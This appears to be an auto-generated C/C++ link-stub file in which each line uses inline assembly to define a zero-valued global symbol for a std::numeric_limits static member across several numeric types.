__asm__(".globl _ZNSt14numeric_limitsIeE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIeE12has_infinityE,@object; .size _ZNSt14numeric_limitsIeE12has_infinityE, 1; _ZNSt14numeric_limitsIeE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIeE12max_exponentE,@object; .size _ZNSt14numeric_limitsIeE12max_exponentE, 4; _ZNSt14numeric_limitsIeE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIeE12min_exponentE,@object; .size _ZNSt14numeric_limitsIeE12min_exponentE, 4; _ZNSt14numeric_limitsIeE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIeE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIeE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIeE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIeE14is_specializedE,@object; .size _ZNSt14numeric_limitsIeE14is_specializedE, 1; _ZNSt14numeric_limitsIeE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIeE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIeE14max_exponent10E, 4; _ZNSt14numeric_limitsIeE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIeE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIeE14min_exponent10E, 4; _ZNSt14numeric_limitsIeE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIeE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIeE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIeE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIeE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIeE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIeE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIeE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIeE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIeE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIeE5radixE,@object; .size _ZNSt14numeric_limitsIeE5radixE, 4; _ZNSt14numeric_limitsIeE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIeE5trapsE,@object; .size _ZNSt14numeric_limitsIeE5trapsE, 1; _ZNSt14numeric_limitsIeE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIeE6digitsE,@object; .size _ZNSt14numeric_limitsIeE6digitsE, 4; _ZNSt14numeric_limitsIeE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIeE8digits10E,@object; .size _ZNSt14numeric_limitsIeE8digits10E, 4; _ZNSt14numeric_limitsIeE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIeE8is_exactE,@object; .size _ZNSt14numeric_limitsIeE8is_exactE, 1; _ZNSt14numeric_limitsIeE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIeE9is_iec559E,@object; .size _ZNSt14numeric_limitsIeE9is_iec559E, 1; _ZNSt14numeric_limitsIeE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIeE9is_moduloE,@object; .size _ZNSt14numeric_limitsIeE9is_moduloE, 1; _ZNSt14numeric_limitsIeE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIeE9is_signedE,@object; .size _ZNSt14numeric_limitsIeE9is_signedE, 1; _ZNSt14numeric_limitsIeE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIfE10has_denormE,@object; .size _ZNSt14numeric_limitsIfE10has_denormE, 4; _ZNSt14numeric_limitsIfE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIfE10is_boundedE,@object; .size _ZNSt14numeric_limitsIfE10is_boundedE, 1; _ZNSt14numeric_limitsIfE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIfE10is_integerE,@object; .size _ZNSt14numeric_limitsIfE10is_integerE, 1; _ZNSt14numeric_limitsIfE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIfE11round_styleE,@object; .size _ZNSt14numeric_limitsIfE11round_styleE, 4; _ZNSt14numeric_limitsIfE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIfE12has_infinityE,@object; .size _ZNSt14numeric_limitsIfE12has_infinityE, 1; _ZNSt14numeric_limitsIfE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIfE12max_exponentE,@object; .size _ZNSt14numeric_limitsIfE12max_exponentE, 4; _ZNSt14numeric_limitsIfE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIfE12min_exponentE,@object; .size _ZNSt14numeric_limitsIfE12min_exponentE, 4; _ZNSt14numeric_limitsIfE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIfE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIfE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIfE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIfE14is_specializedE,@object; .size _ZNSt14numeric_limitsIfE14is_specializedE, 1; _ZNSt14numeric_limitsIfE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIfE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIfE14max_exponent10E, 4; _ZNSt14numeric_limitsIfE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIfE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIfE14min_exponent10E, 4; _ZNSt14numeric_limitsIfE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIfE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIfE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIfE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIfE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIfE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIfE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIfE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIfE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIfE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIfE5radixE,@object; .size _ZNSt14numeric_limitsIfE5radixE, 4; _ZNSt14numeric_limitsIfE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIfE5trapsE,@object; .size _ZNSt14numeric_limitsIfE5trapsE, 1; _ZNSt14numeric_limitsIfE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIfE6digitsE,@object; .size _ZNSt14numeric_limitsIfE6digitsE, 4; _ZNSt14numeric_limitsIfE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIfE8digits10E,@object; .size _ZNSt14numeric_limitsIfE8digits10E, 4; _ZNSt14numeric_limitsIfE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIfE8is_exactE,@object; .size _ZNSt14numeric_limitsIfE8is_exactE, 1; _ZNSt14numeric_limitsIfE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIfE9is_iec559E,@object; .size _ZNSt14numeric_limitsIfE9is_iec559E, 1; _ZNSt14numeric_limitsIfE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIfE9is_moduloE,@object; .size _ZNSt14numeric_limitsIfE9is_moduloE, 1; _ZNSt14numeric_limitsIfE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIfE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIfE9is_signedE,@object; .size _ZNSt14numeric_limitsIfE9is_signedE, 1; _ZNSt14numeric_limitsIfE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIgE10has_denormE,@object; .size _ZNSt14numeric_limitsIgE10has_denormE, 4; _ZNSt14numeric_limitsIgE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIgE10is_boundedE,@object; .size _ZNSt14numeric_limitsIgE10is_boundedE, 1; _ZNSt14numeric_limitsIgE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIgE10is_integerE,@object; .size _ZNSt14numeric_limitsIgE10is_integerE, 1; _ZNSt14numeric_limitsIgE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIgE11round_styleE,@object; .size _ZNSt14numeric_limitsIgE11round_styleE, 4; _ZNSt14numeric_limitsIgE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIgE12has_infinityE,@object; .size _ZNSt14numeric_limitsIgE12has_infinityE, 1; _ZNSt14numeric_limitsIgE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIgE12max_exponentE,@object; .size _ZNSt14numeric_limitsIgE12max_exponentE, 4; _ZNSt14numeric_limitsIgE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIgE12min_exponentE,@object; .size _ZNSt14numeric_limitsIgE12min_exponentE, 4; _ZNSt14numeric_limitsIgE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIgE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIgE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIgE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIgE14is_specializedE,@object; .size _ZNSt14numeric_limitsIgE14is_specializedE, 1; _ZNSt14numeric_limitsIgE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIgE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIgE14max_exponent10E, 4; _ZNSt14numeric_limitsIgE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIgE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIgE14min_exponent10E, 4; _ZNSt14numeric_limitsIgE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIgE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIgE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIgE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIgE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIgE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIgE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIgE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIgE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIgE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIgE5radixE,@object; .size _ZNSt14numeric_limitsIgE5radixE, 4; _ZNSt14numeric_limitsIgE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIgE5trapsE,@object; .size _ZNSt14numeric_limitsIgE5trapsE, 1; _ZNSt14numeric_limitsIgE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIgE6digitsE,@object; .size _ZNSt14numeric_limitsIgE6digitsE, 4; _ZNSt14numeric_limitsIgE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIgE8digits10E,@object; .size _ZNSt14numeric_limitsIgE8digits10E, 4; _ZNSt14numeric_limitsIgE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIgE8is_exactE,@object; .size _ZNSt14numeric_limitsIgE8is_exactE, 1; _ZNSt14numeric_limitsIgE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIgE9is_iec559E,@object; .size _ZNSt14numeric_limitsIgE9is_iec559E, 1; _ZNSt14numeric_limitsIgE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIgE9is_moduloE,@object; .size _ZNSt14numeric_limitsIgE9is_moduloE, 1; _ZNSt14numeric_limitsIgE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIgE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIgE9is_signedE,@object; .size _ZNSt14numeric_limitsIgE9is_signedE, 1; _ZNSt14numeric_limitsIgE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIhE10has_denormE,@object; .size _ZNSt14numeric_limitsIhE10has_denormE, 4; _ZNSt14numeric_limitsIhE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIhE10is_boundedE,@object; .size _ZNSt14numeric_limitsIhE10is_boundedE, 1; _ZNSt14numeric_limitsIhE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIhE10is_integerE,@object; .size _ZNSt14numeric_limitsIhE10is_integerE, 1; _ZNSt14numeric_limitsIhE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIhE11round_styleE,@object; .size _ZNSt14numeric_limitsIhE11round_styleE, 4; _ZNSt14numeric_limitsIhE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIhE12has_infinityE,@object; .size _ZNSt14numeric_limitsIhE12has_infinityE, 1; _ZNSt14numeric_limitsIhE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIhE12max_exponentE,@object; .size _ZNSt14numeric_limitsIhE12max_exponentE, 4; _ZNSt14numeric_limitsIhE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIhE12min_exponentE,@object; .size _ZNSt14numeric_limitsIhE12min_exponentE, 4; _ZNSt14numeric_limitsIhE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIhE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIhE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIhE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIhE14is_specializedE,@object; .size _ZNSt14numeric_limitsIhE14is_specializedE, 1; _ZNSt14numeric_limitsIhE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIhE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIhE14max_exponent10E, 4; _ZNSt14numeric_limitsIhE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIhE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIhE14min_exponent10E, 4; _ZNSt14numeric_limitsIhE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIhE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIhE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIhE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIhE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIhE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIhE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIhE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIhE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIhE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIhE5radixE,@object; .size _ZNSt14numeric_limitsIhE5radixE, 4; _ZNSt14numeric_limitsIhE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIhE5trapsE,@object; .size _ZNSt14numeric_limitsIhE5trapsE, 1; _ZNSt14numeric_limitsIhE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIhE6digitsE,@object; .size _ZNSt14numeric_limitsIhE6digitsE, 4; _ZNSt14numeric_limitsIhE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIhE8digits10E,@object; .size _ZNSt14numeric_limitsIhE8digits10E, 4; _ZNSt14numeric_limitsIhE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIhE8is_exactE,@object; .size _ZNSt14numeric_limitsIhE8is_exactE, 1; _ZNSt14numeric_limitsIhE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIhE9is_iec559E,@object; .size _ZNSt14numeric_limitsIhE9is_iec559E, 1; _ZNSt14numeric_limitsIhE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIhE9is_moduloE,@object; .size _ZNSt14numeric_limitsIhE9is_moduloE, 1; _ZNSt14numeric_limitsIhE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIhE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIhE9is_signedE,@object; .size _ZNSt14numeric_limitsIhE9is_signedE, 1; _ZNSt14numeric_limitsIhE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIiE10has_denormE,@object; .size _ZNSt14numeric_limitsIiE10has_denormE, 4; _ZNSt14numeric_limitsIiE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIiE10is_boundedE,@object; .size _ZNSt14numeric_limitsIiE10is_boundedE, 1; _ZNSt14numeric_limitsIiE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIiE10is_integerE,@object; .size _ZNSt14numeric_limitsIiE10is_integerE, 1; _ZNSt14numeric_limitsIiE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIiE11round_styleE,@object; .size _ZNSt14numeric_limitsIiE11round_styleE, 4; _ZNSt14numeric_limitsIiE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIiE12has_infinityE,@object; .size _ZNSt14numeric_limitsIiE12has_infinityE, 1; _ZNSt14numeric_limitsIiE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIiE12max_exponentE,@object; .size _ZNSt14numeric_limitsIiE12max_exponentE, 4; _ZNSt14numeric_limitsIiE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIiE12min_exponentE,@object; .size _ZNSt14numeric_limitsIiE12min_exponentE, 4; _ZNSt14numeric_limitsIiE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIiE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIiE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIiE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIiE14is_specializedE,@object; .size _ZNSt14numeric_limitsIiE14is_specializedE, 1; _ZNSt14numeric_limitsIiE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIiE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIiE14max_exponent10E, 4; _ZNSt14numeric_limitsIiE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIiE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIiE14min_exponent10E, 4; _ZNSt14numeric_limitsIiE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIiE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIiE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIiE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIiE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIiE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIiE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIiE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIiE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIiE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIiE5radixE,@object; .size _ZNSt14numeric_limitsIiE5radixE, 4; _ZNSt14numeric_limitsIiE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIiE5trapsE,@object; .size _ZNSt14numeric_limitsIiE5trapsE, 1; _ZNSt14numeric_limitsIiE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIiE6digitsE,@object; .size _ZNSt14numeric_limitsIiE6digitsE, 4; _ZNSt14numeric_limitsIiE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIiE8digits10E,@object; .size _ZNSt14numeric_limitsIiE8digits10E, 4; _ZNSt14numeric_limitsIiE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIiE8is_exactE,@object; .size _ZNSt14numeric_limitsIiE8is_exactE, 1; _ZNSt14numeric_limitsIiE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIiE9is_iec559E,@object; .size _ZNSt14numeric_limitsIiE9is_iec559E, 1; _ZNSt14numeric_limitsIiE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIiE9is_moduloE,@object; .size _ZNSt14numeric_limitsIiE9is_moduloE, 1; _ZNSt14numeric_limitsIiE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIiE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIiE9is_signedE,@object; .size _ZNSt14numeric_limitsIiE9is_signedE, 1; _ZNSt14numeric_limitsIiE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIjE10has_denormE,@object; .size _ZNSt14numeric_limitsIjE10has_denormE, 4; _ZNSt14numeric_limitsIjE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIjE10is_boundedE,@object; .size _ZNSt14numeric_limitsIjE10is_boundedE, 1; _ZNSt14numeric_limitsIjE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIjE10is_integerE,@object; .size _ZNSt14numeric_limitsIjE10is_integerE, 1; _ZNSt14numeric_limitsIjE10is_integerE: .long 0; .popsection");
